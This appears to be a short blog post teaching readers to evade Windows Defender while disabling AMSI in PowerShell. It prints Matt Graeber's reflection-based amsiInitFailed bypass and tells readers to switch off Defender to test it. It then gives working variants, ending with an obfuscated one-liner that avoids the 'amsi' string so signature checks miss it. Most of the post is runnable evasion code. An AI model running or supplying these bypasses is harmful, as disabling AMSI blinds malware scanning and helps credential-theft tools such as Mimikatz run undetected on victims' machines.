Published
- 2 min read
Understanding and Finding Your Own Evasion / Variation
Matt Graebers First Reflection
When you post this in to a Powershell, what happens?
$ [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed", 0x00000028).SetValue($null, $true)
It says, this is malicious
, right? We don’t want to go into the depth of AMSI - which we highly recommend exploring - cause it’s not neccessary, to understand what we’ll explain.
Type this into a Powershell
$ Invoke-Mimikatz
Also malicious
.
Turn off Defender for a sec. Now try again to use the First Reflection
. Wait, no error?
Understanding it
What you see consists of two things.
1.) Reflection - a method of JIT languages like Java, C# - and the automation framework built on top of C# and WinAPI, that allows for dynamic manipulation of Classes, Methods, Objects and Variables on the fly (Powershell)
2.) Doing stuff in the AmsiUtils class, setting the variable amsiInitFailed
to true.
Defender
will recognize patterns. One of the patterns is the word AMSI
- only that. So if you manage to substitute the word amsi
in some way, shape or form - remember, we got a whole Programming Language
in front of us - you already made half way.
Defender won’t recognize, what
you try to do. Take for example:
$ <any other object>.GetField()
(not literally) which is in itself not malicious, of course. Neither is SetValue()
and for the most part, nobody forces you to write it like that.
$ [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed", 0x00000028).SetValue($null, $true)
Let’s assume you made it past Defender with the first part, we won’t show exactly how, but we explained it. If you don’t manage to do it, just turn off Defender
again for the following.
$ [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetFields(0x28) |
ForEach-Object { echo $_.Name }
amsiContext
amsiSession
amsiInitFailed
amsiLockObject
Now let’s try that.
$ [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetFields(0x28) |
ForEach-Object {
if ($_.Name -eq "amsiInitFailed") {
$_.SetValue($null, $true)
}
}
Now think about different styles of coding:
- Object-Oriented
- Functional
- Procedural
- …
Congratulations! You should have achieved ultimate Am{0} Mastery. -f "si"
p.s.
$ $string = "PowerShell Rocks";
$ if ($string.StartsWith("Power")) { echo "Starts with 'Power'" };
$ if ($string.EndsWith("Rocks")) { echo "Ends with 'Rocks'" };
$ if ($string.Contains("Shell")) { echo "Contains 'Shell'" }
and greetings.
p.p.s.
As it’s the Year Of No Code
$ ([Ref].Assembly.GetTypes() | ? { $_.FullName.EndsWith("siUtils") } | % { [Ref].Assembly.GetType($_.FullName) }).GetFields(0x28) | ? { $_.Name.Contains("aile") } | % { $_.SetValue($null, $true) }